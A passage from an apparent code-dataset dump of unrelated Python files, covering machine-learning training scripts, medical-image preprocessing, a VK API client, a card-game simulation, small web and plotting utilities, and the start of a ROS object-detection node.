import_ops(self):\n\t\t\"\"\"Imports ops from collections.\"\"\"\n\t\tif self._is_training:\n\t\t\tself._train_op = tf.get_collection_ref(\"train_op\")[0]\n\t\t\tself._lr = tf.get_collection_ref(\"lr\")[0]\n\t\t\tself._new_lr = tf.get_collection_ref(\"new_lr\")[0]\n\t\t\tself._lr_update = tf.get_collection_ref(\"lr_update\")[0]\n\t\t\trnn_params = tf.get_collection_ref(\"rnn_params\")\n\t\t\tif self._cell and rnn_params:\n\t\t\t\tparams_saveable = tf.contrib.cudnn_rnn.RNNParamsSaveable(\n\t\t\t\t\tself._cell,\n\t\t\t\t\tself._cell.params_to_canonical,\n\t\t\t\t\tself._cell.canonical_to_params,\n\t\t\t\t\trnn_params,\n\t\t\t\t\tbase_variable_scope=\"Model/RNN\")\n\t\t\t\ttf.add_to_collection(tf.GraphKeys.SAVEABLE_OBJECTS, params_saveable)\n\t\tself._cost = tf.get_collection_ref(util.with_prefix(self._name, \"cost\"))[0]\n\t\tnum_replicas = 1\n\t\tself._initial_state = util.import_state_tuples(\n\t\t\tself._initial_state, self._initial_state_name, num_replicas)\n\t\tself._final_state = util.import_state_tuples(\n\t\t\tself._final_state, self._final_state_name, num_replicas)\n\n\t@property\n\tdef input(self):\n\t\treturn self._input\n\n\t@property\n\tdef initial_state(self):\n\t\treturn self._initial_state\n\n\t@property\n\tdef cost(self):\n\t\treturn self._cost\n\n\t@property\n\tdef final_state(self):\n\t\treturn self._final_state\n\n\t@property\n\tdef lr(self):\n\t\treturn self._lr\n\n\t@property\n\tdef train_op(self):\n\t\treturn self._train_op\n\n\t@property\n\tdef initial_state_name(self):\n\t\treturn self._initial_state_name\n\n\t@property\n\tdef final_state_name(self):\n\t\treturn self._final_state_name\n\n\nclass SmallConfig(object):\n\t\"\"\"Small config.\"\"\"\n\tinit_scale = 0.1\n\tlearning_rate = 1.0\n\tmax_grad_norm = 5\n\tnum_layers = 2\n\tnum_steps = 20\n\thidden_size = 200\n\tmax_epoch = 4\n\tmax_max_epoch = 13\n\tkeep_prob = 1.0\n\tlr_decay = 0.5\n\tbatch_size = 20\n\tvocab_size = 10000\n\n\nclass MediumConfig(object):\n\t\"\"\"Medium config.\"\"\"\n\tinit_scale = 0.05\n\tlearning_rate = 1.0\n\tmax_grad_norm = 5\n\tnum_layers = 2\n\tnum_steps = 35\n\thidden_size = 650\n\tmax_epoch = 6\n\tmax_max_epoch = 39\n\tkeep_prob = 0.5\n\tlr_decay = 0.8\n\tbatch_size = 20\n\tvocab_size = 10000\n\n\nclass LargeConfig(object):\n\t\"\"\"Large config.\"\"\"\n\tinit_scale = 0.04\n\tlearning_rate = 1.0\n\tmax_grad_norm = 10\n\tnum_layers = 2\n\tnum_steps = 35\n\thidden_size = 1500\n\tmax_epoch = 14\n\tmax_max_epoch = 55\n\tkeep_prob = 0.35\n\tlr_decay = 1 / 1.15\n\tbatch_size = 20\n\tvocab_size = 10000\n\n\nclass TestConfig(object):\n\t\"\"\"Tiny config, for testing.\"\"\"\n\tinit_scale = 0.1\n\tlearning_rate = 1.0\n\tmax_grad_norm = 1\n\tnum_layers = 1\n\tnum_steps = 2\n\thidden_size = 2\n\tmax_epoch = 1\n\tmax_max_epoch = 1\n\tkeep_prob = 1.0\n\tlr_decay = 0.5\n\tbatch_size = 20\n\tvocab_size = 10000\n\n\ndef run_epoch(session, model, eval_op=None, verbose=False):\n\t\"\"\"Runs the model on the given data.\"\"\"\n\tstart_time = time.time()\n\tcosts = 0.0\n\titers = 0\n\tstate = session.run(model.initial_state)\n\n\tfetches = {\n\t\t\"cost\": model.cost,\n\t\t\"final_state\": model.final_state,\n\t}\n\tif eval_op is not None:\n\t\tfetches[\"eval_op\"] = eval_op\n\n\tfor step in range(model.input.epoch_size):\n\t\tfeed_dict = {}\n\t\tfor i, (c, h) in enumerate(model.initial_state):\n\t\t\tfeed_dict[c] = state[i].c\n\t\t\tfeed_dict[h] = state[i].h\n\n\t\tvals = session.run(fetches, feed_dict)\n\t\tcost = vals[\"cost\"]\n\t\tstate = vals[\"final_state\"]\n\n\t\tcosts += cost\n\t\titers += model.input.num_steps\n\n\t\tif verbose and step % (model.input.epoch_size // 10) == 10:\n\t\t\tprint(\"%.3f perplexity: %.3f speed: %.0f wps\" %\n\t\t\t (step * 1.0 / model.input.epoch_size, np.exp(costs / iters),\n\t\t\t iters * model.input.batch_size / (time.time() - start_time)))\n\n\treturn np.exp(costs / iters)\n\n\ndef run():\n\tif not FLAGS.data_path:\n\t\traise ValueError(\"Must set --data_path to PTB data directory\")\n\n\traw_data = reader.ptb_raw_data(FLAGS.data_path)\n\ttrain_data, valid_data, test_data, _ = raw_data\n\n\tconfig = get_config()\n\teval_config = get_config()\n\teval_config.batch_size = 1\n\teval_config.num_steps = 1\n\n\twith tf.Graph().as_default():\n\t\tinitializer = tf.random_uniform_initializer(-config.init_scale,\n\t\t config.init_scale)\n\n\t\twith tf.name_scope(\"Train\"):\n\t\t\ttrain_input = PTBInput(config=config, data=train_data, name=\"TrainInput\")\n\t\t\twith tf.variable_scope(\"Model\", reuse=None, initializer=initializer):\n\t\t\t\tm = PTBModel(is_training=True, config=config, input_=train_input)\n\t\t\ttf.summary.scalar(\"Training Loss\", m.cost)\n\t\t\ttf.summary.scalar(\"Learning Rate\", m.lr)\n\n\t\twith tf.name_scope(\"Valid\"):\n\t\t\tvalid_input = PTBInput(config=config, data=valid_data, name=\"ValidInput\")\n\t\t\twith tf.variable_scope(\"Model\", reuse=True, initializer=initializer):\n\t\t\t\tmvalid = PTBModel(is_training=False, config=config, input_=valid_input)\n\t\t\ttf.summary.scalar(\"Validation Loss\", mvalid.cost)\n\n\t\twith tf.name_scope(\"Test\"):\n\t\t\ttest_input = PTBInput(\n\t\t\t\tconfig=eval_config, data=test_data, name=\"TestInput\")\n\t\t\twith tf.variable_scope(\"Model\", reuse=True, initializer=initializer):\n\t\t\t\tmtest = PTBModel(is_training=False, config=eval_config,\n\t\t\t\t input_=test_input)\n\n\t\tmodels = {\"Train\": m, \"Valid\": mvalid, \"Test\": mtest}\n\t\tfor name, model in models.items():\n\t\t\tmodel.export_ops(name)\n\t\tmetagraph = tf.train.export_meta_graph()\n\t\tsoft_placement = False\n\n\twith tf.Graph().as_default():\n\t\ttf.train.import_meta_graph(metagraph)\n\t\tfor model in models.values():\n\t\t\tmodel.import_ops()\n\t\tsv = tf.train.Supervisor(logdir=FLAGS.save_path)\n\t\tconfig_proto = tf.ConfigProto(allow_soft_placement=soft_placement)\n\t\twith sv.managed_session(config=config_proto) as session:\n\t\t\tfor i in range(config.max_max_epoch):\n\t\t\t\tlr_decay = config.lr_decay ** max(i + 1 - config.max_epoch, 0.0)\n\t\t\t\tm.assign_lr(session, config.learning_rate * lr_decay)\n\n\t\t\t\tprint(\"Epoch: %d Learning rate: %.3f\" % (i + 1, session.run(m.lr)))\n\t\t\t\ttrain_perplexity = run_epoch(session, m, eval_op=m.train_op,\n\t\t\t\t verbose=True)\n\t\t\t\tprint(\"Epoch: %d Train Perplexity: %.3f\" % (i + 1, train_perplexity))\n\t\t\t\tvalid_perplexity = run_epoch(session, mvalid)\n\t\t\t\tprint(\"Epoch: %d Valid Perplexity: %.3f\" % (i + 1, valid_perplexity))\n\n\t\t\ttest_perplexity = run_epoch(session, mtest)\n\t\t\tprint(\"Test Perplexity: %.3f\" % test_perplexity)\n\n\t\t\tif FLAGS.save_path:\n\t\t\t\tprint(\"Saving model to %s.\" % FLAGS.save_path)\n\t\t\t\tsv.saver.save(session, FLAGS.save_path, global_step=sv.global_step)\n\n\nif __name__ == '__main__':\n\trun()\n","sub_path":"ptb_word_lm2.py","file_name":"ptb_word_lm2.py","file_ext":"py","file_size_in_byte":18504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"423943839","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport pandas\nfrom sklearn.cluster import KMeans\n\ndata = pandas.read_csv('../resources/menu/timestamp_Wday.csv')\n\ndata['InRestaurant'] = data['TimePick'] - data['TimeArrive']\n\naData = data[data['InRestaurant'] > 0]\n\n# bData = aData\nbData = aData[aData['InRestaurant'] <= 3600]\n\nnewData = pandas.DataFrame()\n\ndef r(val):\n return np.random.randint(1, 100)\n\nnewData['random'] = bData.InRestaurant.map(r)\n\nnewData['InRestaurant'] = bData.InRestaurant\n\nX = newData.as_matrix()\n\n\nkMeans = KMeans(n_clusters=3)\nkMeans.fit(X)\n\ny_pred = kMeans.predict(X)\n\n\n\n# from sklearn.externals import joblib\n# joblib.dump(kMeans, 'model/3-means.pkl')\n\nplt.figure(1)\nplt.clf()\n\nplt.scatter(X[:, 0], X[:, 1], c=y_pred)\nplt.title(\"Time Spent In Restaurant\")\n\nplt.show()\n","sub_path":"ml/restaurant_kmeans.py","file_name":"restaurant_kmeans.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"358719618","text":"import requests\nimport json\nfrom .error import vkError\nfrom .config import HttpMethod, vkConfig\nfrom .jobject import jobject\n\n\nclass VkResponse:\n def __init__(self, method_name, params, http_method=HttpMethod.POST):\n response = '{}'\n self.url = vkConfig.baseUrl.format(METHOD_NAME=method_name)\n if 'access_token' not in params:\n params['access_token'] = vkConfig.token\n if 'v' not in params:\n params['v'] = vkConfig.api_version\n\n if http_method == HttpMethod.GET:\n response = requests.get(self.url, params=params).text\n elif http_method == HttpMethod.POST:\n response = requests.post(self.url, data=params).text\n\n self.__json = json.loads(response, object_hook=jobject)\n\n if 'error' in self.__json:\n raise vkError.get_vk_error(self.__json['error'])\n\n def __repr__(self):\n return '' % (id(self), self.response)\n\n @property\n def response(self):\n return self.__json.get('response')\n","sub_path":"pyvk/response.py","file_name":"response.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"385794218","text":"import tensorlayer as tl\nimport numpy as np\nimport os\nimport csv\nimport random\nimport gc\nimport pickle\nimport nibabel as nib\nimport SimpleITK as sitk\nfrom tqdm import tqdm\n\n\nHGG_bias_data_path = \"data/Brats17TrainingData_Bias/HGG\"\nLGG_bias_data_path = \"data/Brats17TrainingData_Bias/LGG\"\n\nif not os.path.exists(HGG_bias_data_path):\n os.makedirs(HGG_bias_data_path)\n\nif not os.path.exists(LGG_bias_data_path):\n os.makedirs(LGG_bias_data_path)\n\n\nHGG_data_path = \"data/Brats17TrainingData/HGG\"\nLGG_data_path = \"data/Brats17TrainingData/LGG\"\n\nHGG_path_list = tl.files.load_folder_list(path=HGG_data_path)\nLGG_path_list = tl.files.load_folder_list(path=LGG_data_path)\n\nHGG_len = len(HGG_path_list)\nLGG_len = len(LGG_path_list)\n\nprint(\"Data training used for HGG: {} and LGG: {}\".format(\n HGG_len, LGG_len)) # 210 #75\n# print(len(HGG_path_list), len(LGG_path_list)) #210 #75\n\nHGG_name_list = [os.path.basename(p) for p in HGG_path_list]\nLGG_name_list = [os.path.basename(p) for p in LGG_path_list]\n\ndata_types = ['flair', 't1', 't1ce', 't2']\nprint(\"LOAD ALL IMAGES' PATH AND COMPUTE MEAN/ STD\\n============================\")\nfor j in HGG_name_list:\n for i in data_types:\n img_path = os.path.join(HGG_data_path, j, j + '_' + i + '.nii.gz')\n img = sitk.ReadImage(img_path)\n print(\"read finish\")\n data = sitk.GetArrayFromImage(img)\n img_data = sitk.Cast(img, sitk.sitkFloat32)\n img_mask = sitk.BinaryNot(sitk.BinaryThreshold(img_data, 0, 0))\n print(\"Bias Start\")\n #corrected_img = sitk.N4BiasFieldCorrection(img, img_mask)\n corrector = sitk.N4BiasFieldCorrectionImageFilter()\n output = corrector.Execute(img_data, img_mask)\n print(\"Bias Finish\")\n new_img = os.path.join(HGG_bias_data_path, j, j + '_' + i + '.nii.gz')\n sitk.WriteImage(output, new_img)\n","sub_path":"biascorrection.py","file_name":"biascorrection.py","file_ext":"py","file_size_in_byte":1847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"348084858","text":"import numpy as np\nimport sys\n\nfrom game import Game\n\n\n# Calculate the statistics from a trial\ndef calc_stats(result):\n mean = np.mean(result)\n stddev = np.std(result)\n return [mean, stddev]\n\n\n# Run a simulation with a specific number of trials and return the result\ndef run_simulation(trials):\n results_5 = np.empty(trials)\n results_6 = np.empty(trials)\n results_7 = np.empty(trials)\n\n for i in range(trials):\n results_5[i] = Game(5).play()\n results_6[i] = Game(6).play()\n results_7[i] = Game(7).play()\n\n results_out = np.stack((results_5, results_6, results_7), axis=1)\n return results_out\n\n\n# Run a convergence test to a specified depth. The depth represents the order of magnitude of the largest tested\n# simulation\ndef run_convergence_test(depth):\n converge_mean_5 = np.empty(depth);\n converge_mean_6 = np.empty(depth);\n converge_mean_7 = np.empty(depth);\n\n converge_std_5 = np.empty(depth);\n converge_std_6 = np.empty(depth);\n converge_std_7 = np.empty(depth);\n\n for i in range(depth):\n results = run_simulation(10**i)\n\n converge_mean_5[i] = calc_stats(results[:, 0])[0]\n converge_mean_6[i] = calc_stats(results[:, 1])[0]\n converge_mean_7[i] = calc_stats(results[:, 2])[0]\n\n converge_std_5[i] = calc_stats(results[:, 0])[1]\n converge_std_6[i] = calc_stats(results[:, 1])[1]\n converge_std_7[i] = calc_stats(results[:, 2])[1]\n\n convergence_mean_out = np.stack((converge_mean_5, converge_mean_6, converge_mean_7), axis=1)\n convergence_std_out = np.stack((converge_std_5, converge_std_6, converge_std_7), axis=1)\n\n return [convergence_mean_out, convergence_std_out]\n\n\n# Save and print results from a simulation\ndef save_results(trials, all_results):\n # Return the results\n np.savetxt(\"results/results.csv\", all_results, fmt='%.3f', delimiter=',')\n\n print(\"Ran \" + str(trials) + \" trials\")\n\n stats_5 = calc_stats(all_results[:, 0])\n print(\"The five-card test resulted in a mean of \" + str(stats_5[0]) + \" and a std. dev. of \" + str(stats_5[1]))\n\n stats_6 = calc_stats(all_results[:, 1])\n print(\"The six-card test resulted in a mean of \" + str(stats_6[0]) + \" and a std. dev. of \" + str(stats_6[1]))\n\n stats_7 = calc_stats(all_results[:, 2])\n print(\"The seven-card test resulted in a mean of \" + str(stats_7[0]) + \" and a std. dev. of \" + str(stats_7[1]))\n\n\n# Save and print results from a convergence test\ndef save_convergence(depth, convergence_mean_results, convergence_std_results):\n # Save the results\n np.savetxt(\"results/convergence_mean.csv\", convergence_mean_results, fmt='%.3f', delimiter=',')\n np.savetxt(\"results/convergence_std.csv\", convergence_std_results, fmt='%.3f', delimiter=',')\n\n\n# Number of trials to run\nrun_convergence = False if (sys.argv[1]!=\"-c\") else True\n\nif run_convergence:\n convergence_depth = int(sys.argv[2])\n convergence_results = run_convergence_test(convergence_depth)\n save_convergence(convergence_depth, convergence_results[0], convergence_results[1])\nelse:\n desired_trials = int(sys.argv[1])\n simulation_results = run_simulation(desired_trials)\n save_results(desired_trials, simulation_results)\n\n","sub_path":"controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":3217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"616321347","text":"import pylidc as pl\n\nimport itertools\nimport numpy as np\nfrom numba import jit\nimport better_exceptions\nfrom sklearn.utils import shuffle\n\nimport os\nimport sys\nimport math\nsys.path.append('../../LungTumor/')\nimport data_util\n\nsys.path.append('..')\nimport keras_retinanet\nfrom keras_retinanet.preprocessing.generator import Generator\n\nimport utils\nimport configparser\nimport pickle\nfrom preprocessing import scan_index_split\nfrom utils import get_patches\nfrom scipy.ndimage.interpolation import rotate\n\ndef random_transform(\n image,\n annotations,\n flip_x_chance=0.5,\n flip_y_chance=0.5,\n flip_z_chance=0.5\n):\n def fix_annotaions(annotations):\n fix_annotaions = np.zeros((annotations.shape[0], 5))\n fix_annotaions[:, 0] = np.minimum(annotations[:, 0], annotations[:, 2])\n fix_annotaions[:, 1] = np.minimum(annotations[:, 1], annotations[:, 3])\n fix_annotaions[:, 2] = np.maximum(annotations[:, 0], annotations[:, 2])\n fix_annotaions[:, 3] = np.maximum(annotations[:, 1], annotations[:, 3])\n return fix_annotaions\n\n image, annotations = image.copy(), annotations.copy()\n for axis, chance in enumerate([flip_x_chance, flip_y_chance, flip_z_chance]):\n if np.random.random() < chance:\n image = np.flip(image, axis)\n if axis < 2:\n axis = 1 - axis\n annotations[:, axis] = 512. - annotations[:, axis]\n annotations[:, axis+2] = 512. - annotations[:, axis+2]\n\n annotations = fix_annotaions(annotations)\n\n image = np.array(image)\n annotations = np.array(annotations)\n return image, annotations\n\n\nclass LungGenerator(Generator):\n def __init__(self, set_name, **kwargs):\n def preprocess_image(image):\n \"\"\" Preprocess image and its annotations.\n \"\"\"\n MEAN, STD = 174., 825.\n # image = (image - image.mean()) / image.std()\n image = (image - MEAN) / STD\n return image\n\n self.set_name = set_name\n self.config = configparser.ConfigParser()\n self.config.read('./configs.ini')\n if self.set_name == 'valid':\n data_dir = self.config['Lung']['DataDirectory']\n infos = pickle.load(open(os.path.join(data_dir, 'infos.pl'), 'rb'))\n self.valid_size = min(200, infos['valid_size'])\n self.random_index = np.random.choice(int(infos['valid_size']), size=self.valid_size, replace=False)\n\n super(LungGenerator, self).__init__(**dict(kwargs,\n group_method='random',\n preprocess_image=preprocess_image,\n image_min_side=800,\n image_max_side=1333))\n\n def size(self):\n if self.set_name == 'valid':\n return self.valid_size\n else:\n data_dir = self.config['Lung']['DataDirectory']\n infos = pickle.load(open(os.path.join(data_dir, 'infos.pl'), 'rb'))\n return int(infos[self.set_name+'_size'])\n\n def num_classes(self):\n \"\"\" Number of classes in the dataset.\n \"\"\"\n return 1\n\n def name_to_label(self, name):\n \"\"\" Map name to label.\n \"\"\"\n return 0\n\n def label_to_name(self, label):\n \"\"\" Map label to name.\n \"\"\"\n return 'nodule'\n\n def image_aspect_ratio(self, image_index):\n \"\"\" Compute the aspect ratio for an image with image_index.\n \"\"\"\n return 1\n\n def load_image(self, image_index, repeat=False):\n \"\"\" Load an image at the image_index.\n \"\"\"\n if self.set_name == 'valid':\n image_index = self.random_index[image_index]\n image = utils.load_image(image_index, self.set_name)\n image = image.reshape((512, 512, 16, 1))\n # image = image[:,:,6:9]\n if repeat:\n image = np.repeat(image, 3, axis=2) # to rgb\n if image.shape != (512, 512, 3, 16):\n raise ValueError('image size error!', image.shape)\n # image = np.random.rand(*image.shape)\n return image\n\n def load_annotations(self, image_index):\n \"\"\" Load annotations for an image_index.\n \"\"\"\n if self.set_name == 'valid':\n image_index = self.random_index[image_index]\n annotations = utils.load_annotations(image_index, self.set_name) # (x1, y1, x2, y2, label)\n permuted_annotations = np.zeros((annotations.shape[0], 5))\n if annotations.shape[0] > 0:\n permuted_annotations[:, 0] = annotations[:, 1]\n permuted_annotations[:, 1] = annotations[:, 0]\n permuted_annotations[:, 2] = annotations[:, 3]\n permuted_annotations[:, 3] = annotations[:, 2]\n permuted_annotations[:, 4] = annotations[:, 4]\n return permuted_annotations\n\n def preprocess_group_entry(self, image, annotations):\n \"\"\" Preprocess image and its annotations.\n \"\"\"\n image = self.preprocess_image(image)\n image, annotations = random_transform(image, annotations)\n return image, annotations\n\n def compute_inputs(self, image_group):\n \"\"\" Compute inputs for the network using an image_group.\n \"\"\"\n return np.array(image_group)\n\n def resize_image(self, image):\n \"\"\" Resize an image using image_min_side and image_max_side.\n \"\"\"\n return image, 1.\n\nclass LungScanGenerator(Generator):\n def __init__(self, set_name, index, **kwargs):\n def preprocess_image(image):\n \"\"\" Preprocess image and its annotations.\n \"\"\"\n MEAN, STD = 174., 825.\n # image = (image - image.mean()) / image.std()\n image = (image - MEAN) / STD\n return image\n\n self.set_name = set_name\n self.scan_index = scan_index_split(1018)[{'train': 0, 'valid': 1, 'test': 2}[set_name]][index]\n self.scan = pl.query(pl.Scan).filter()[self.scan_index]\n self.X, self.y = get_patches(self.scan, negative_ratio=2.)\n super(LungScanGenerator, self).__init__(**dict(kwargs, group_method='none', preprocess_image=preprocess_image))\n\n def size(self):\n return self.X.shape[0]\n\n def num_classes(self):\n \"\"\" Number of classes in the dataset.\n \"\"\"\n return 1\n\n def name_to_label(self, name):\n \"\"\" Map name to label.\n \"\"\"\n return 0\n\n def label_to_name(self, label):\n \"\"\" Map label to name.\n \"\"\"\n return 'nodule'\n\n def image_aspect_ratio(self, image_index):\n \"\"\" Compute the aspect ratio for an image with image_index.\n \"\"\"\n return 1\n\n def load_image(self, image_index, repeat=False):\n \"\"\" Load an image at the image_index.\n \"\"\"\n image = self.X[image_index]\n image = image.reshape((512, 512, 16, 1))\n return image\n\n def load_annotations(self, image_index):\n \"\"\" Load annotations for an image_index.\n \"\"\"\n annotations = np.array(self.y[image_index])\n permuted_annotations = np.zeros((annotations.shape[0], 5))\n if annotations.shape[0]:\n permuted_annotations[:, 0] = annotations[:, 1]\n permuted_annotations[:, 1] = annotations[:, 0]\n permuted_annotations[:, 2] = annotations[:, 3]\n permuted_annotations[:, 3] = annotations[:, 2]\n permuted_annotations[:, 4] = annotations[:, 4]\n return permuted_annotations\n\n def preprocess_group_entry(self, image, annotations):\n \"\"\" Preprocess image and its annotations.\n \"\"\"\n image = self.preprocess_image(image)\n return image, annotations\n\n def compute_inputs(self, image_group):\n \"\"\" Compute inputs for the network using an image_group.\n \"\"\"\n return np.array(image_group)\n\n def resize_image(self, image):\n \"\"\" Resize an image using image_min_side and image_max_side.\n \"\"\"\n return image, 1.\n\nif __name__ == '__main__':\n gen = LungGenerator(\n 'train',\n **{\n 'batch_size' : 1,\n 'image_min_side' : 800,\n 'image_max_side' : 1333,\n 'preprocess_image' : lambda x: x,\n }\n )\n next(gen)\n","sub_path":"experiments/lung_generator.py","file_name":"lung_generator.py","file_ext":"py","file_size_in_byte":8320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"174015780","text":"#!/usr/bin/env python\n#coding=utf-8\n\nfrom die import Die\n\ndie1 = Die()\ndie2 = Die(10)\nresult = []\nfor roll_num in range(1000):\n r = die1.roll() + die2.roll()\n result.append(r)\n\nfrequencies = []\nmax_result = die1.num_sides + die2.num_sides\nprint(max_result)\nfor v in range(2, max_result + 1):\n freq = result.count(v)\n frequencies.append(freq)\nprint(frequencies)\n\nimport pygal\nhist = pygal.Bar()\nhist.title = \"Result of rolling two D6 1000 times\"\nxl = []\nfor v in range(2, max_result + 1):\n xl.append(str(v))\nprint(xl)\nhist.x_labels = xl\nhist.x_title = \"Result\"\nhist.y_title = \"Frequence of Result\"\n\nhist.add('D6 + D6',frequencies)\nhist.render_to_file('two_die_visual.svg')\n","sub_path":"PythonCrashCourse/DataVisualization_15to17/die_visual_two_D6.py","file_name":"die_visual_two_D6.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"335152931","text":"import torch\nimport torch.nn.functional as F\nfrom einops import rearrange\nfrom toolz.functoolz import memoize\nfrom toolz import curry\n\nfrom continuum.models.ensemble.latent_kernel import DeepKernelMultiTaskGaussian\n\n\ndef all_factors(value: int):\n factors = []\n for i in range(1, int(value**0.5) + 1):\n if value % i == 0:\n fact = value / i\n factors.append((i, fact, abs(fact - i)))\n return factors\n\n\ndef is_prime(x: int):\n if x <= 1:\n return False\n return all(x % i != 0 for i in range(2, x))\n\n\n@memoize\ndef get_sorted_fact(x_shape) -> int:\n last_item = x_shape[-1]\n if is_prime(last_item):\n raise ValueError(\"We can't split a prime number. Please change it.\")\n last_factors = all_factors(last_item)\n sorted_la_facts = sorted(last_factors, key=lambda x: x[-1])\n return sorted_la_facts[0]\n\n\n# SHAPE_VALUE = 5\n\n\n@curry\ndef decompose_factor(x_arr: torch.Tensor, shape_val: int = 5) -> torch.Tensor:\n x_shape = x_arr.shape\n dividing_vals = get_sorted_fact(x_shape)\n new_shape = rearrange(\n x_arr, 'x y (b1 b2) -> x y b1 b2', b1=dividing_vals[0]\n )\n new_shape = F.interpolate(new_shape, (shape_val, shape_val))\n new_shape = new_shape.float()\n return new_shape","sub_path":"continuum/data/compositor.py","file_name":"compositor.py","file_ext":"py","file_size_in_byte":1254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"400056406","text":"import webapp2\nimport jinja2\nimport os\n\nfrom log import Log\nfrom operators import *\n\n\n# Turns on debugging if code is not being run in production mode\n\nDEBUG = os.environ['SERVER_SOFTWARE'].startswith('Development') # Debug environment\n\n##############################\n\n# Handlers for Mathrix\n\n##############################\n\n\ntemplate_dir = os.path.join(os.path.dirname(__file__), '../templates')\njinja_env = jinja2.Environment(loader=jinja2.FileSystemLoader(template_dir), autoescape=True)\n\n\ndef render_str(template, **params):\n template = 'mathrix/' + template\n params['f'] = OPERATIONS\n params['SQUARE_OP'] = SQUARE_OP\n params['detailed'] = detailed\n params['systems'] = systems\n params['BINARY_OP'] = BINARY_OP\n t = jinja_env.get_template(template)\n return t.render(params)\n\n\n\"\"\"\nBase Handler defining convenience template render functions\n\"\"\"\nclass Handler(webapp2.RequestHandler):\n\n def home(self): # Easy redirection to homepage\n self.redirect('/mathrix')\n\n def write(self, *a, **kw):\n self.response.write(*a, **kw)\n\n def render(self, template, **kw):\n self.write(render_str(template, **kw))\n\n def log(self):\n Exp = self.Exp\n Log.i(\"Expression to be evaluated: %s\", Exp.exp)\n if Exp.dim:\n Log.i(\"Dimensions of matrices are: %s\", Exp.dim)\n if Exp.matrices:\n Log.i(\"Inputed matrices are: %s\", Exp.matrices)\n","sub_path":"matrix/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"144992173","text":"#!/ C:\\Python37\\python.exe\nimport numpy as np\nimport cv2\nimport rclpy\nimport os\nfrom rclpy.node import Node\nimport time\nfrom sensor_msgs.msg import CompressedImage, LaserScan\nfrom ssafy_msgs.msg import BBox\n\nimport tensorflow as tf\n\nfrom sub2.ex_calib import *\n\nfrom object_detection.utils import label_map_util\nfrom object_detection.utils import visualization_utils as vis_util\n\nimport socketio\nimport base64\nfrom std_msgs.msg import String\n\n\n# 설치한 tensorflow를 tf 로 import 하고,\n# object_detection api 내의 utils인 vis_util과 label_map_util도 import해서\n# ROS 통신으로 들어오는 이미지의 객체 인식 결과를 ROS message로 송신하는 노드입니다.\n\n# tf object detection node 로직 순서\n# 로직 1. tensorflow 및 object detection api 관련 utils import \n# 로직 2. pretrained file and label map load\n# 로직 3. detection model graph 생성\n# 로직 4. gpu configuration 정의\n# 로직 5. session 생성\n# 로직 6. object detection 클래스 생성\n# 로직 7. node 및 image subscriber 생성\n# 로직 8. lidar2img 좌표 변환 클래스 정의\n# 로직 9. ros 통신을 통한 이미지 수신\n# 로직 10. object detection model inference\n# 로직 11. 라이다-카메라 좌표 변환 및 정사영\n# 로직 12. bounding box 결과 좌표 뽑기\n# 로직 13. 인식된 물체의 위치 추정\n# 로직 14. 시각화\n\n\n# 로직 1. tensorflow 및 object detection api 관련 utils import \n## 설치한 tensorflow를 tf 로 import 하고,\n## object_detection api 내의 utils인 vis_util과 label_map_util도 \n## import합니다. \n## 그리고 lidar scan data를 받아서 이미지에 정사영하기위해 ex_calib에 있는\n## class 들도 가져와 import 합니다.\n\nparams_lidar = {\n \"Range\" : 90, #min & max range of lidar azimuths\n \"CHANNEL\" : int(1), #verticla channel of a lidar\n \"localIP\": \"127.0.0.1\",\n \"localPort\": 9094,\n \"Block_SIZE\": int(1206),\n \"X\": 0, # meter\n \"Y\": 0,\n \"Z\": 0.5 + 0.1,\n \"YAW\": 0, # deg\n \"PITCH\": 0,\n \"ROLL\": 0\n}\n\n\nparams_cam = {\n \"WIDTH\": 320, # image width\n \"HEIGHT\": 240, # image height\n \"FOV\": 60, # Field of view\n \"localIP\": \"127.0.0.1\",\n \"localPort\": 1332,\n \"Block_SIZE\": int(65000),\n \"X\": 0, # meter\n \"Y\": 0,\n \"Z\": 0.5,\n \"YAW\": 90, # deg\n \"PITCH\": 0,\n \"ROLL\": 0\n}\n\n\n\nglobal img_bgr, xyz\nimg_bgr = xyz = None\n\nsio = socketio.Client()\n\nobject_distance = dict()\n\npast_time = time.time()\n\n\nclass detection_net_class():\n def __init__(self, sess, graph, category_index):\n \n # 로직 6. object detector 클래스 생성\n # 스켈레톤 코드 내에 작성되어 있는 class인 detection_net_class()는 \n # graph와 라벨정보를 받아서 ROS2 topic 통신으로 들어온 이미지를 inference 하고\n # bounding box를 내놓는 역할을 합니다. \n # TF object detection API 튜토리얼 코드를 참고했습니다.\n \n #session and dir\n self.sess = sess\n self.detection_graph = graph\n self.category_index = category_index\n\n #init tensor\n self.image_tensor = self.detection_graph.get_tensor_by_name('image_tensor:0')\n self.boxes = self.detection_graph.get_tensor_by_name('detection_boxes:0')\n self.scores = self.detection_graph.get_tensor_by_name('detection_scores:0')\n self.classes = self.detection_graph.get_tensor_by_name('detection_classes:0')\n self.num_detections = \\\n self.detection_graph.get_tensor_by_name('num_detections:0')\n\n def inference(self, image_np):\n image_np_expanded = np.expand_dims(image_np, axis=0)\n \n t_start = time.time()\n (boxes, scores, classes, num_detections) = self.sess.run([self.boxes,\n self.scores,\n self.classes,\n self.num_detections],\n feed_dict={self.image_tensor: image_np_expanded})\n \n image_process = np.copy(image_np)\n\n idx_detect = np.arange(scores.shape[1]).reshape(scores.shape)[np.where(scores>0.5)]\n boxes_detect = boxes[0, idx_detect, :]\n classes_pick = classes[:, idx_detect]\n\n\n # remove noise (ex) background)\n noise_box_info = []\n for idx in 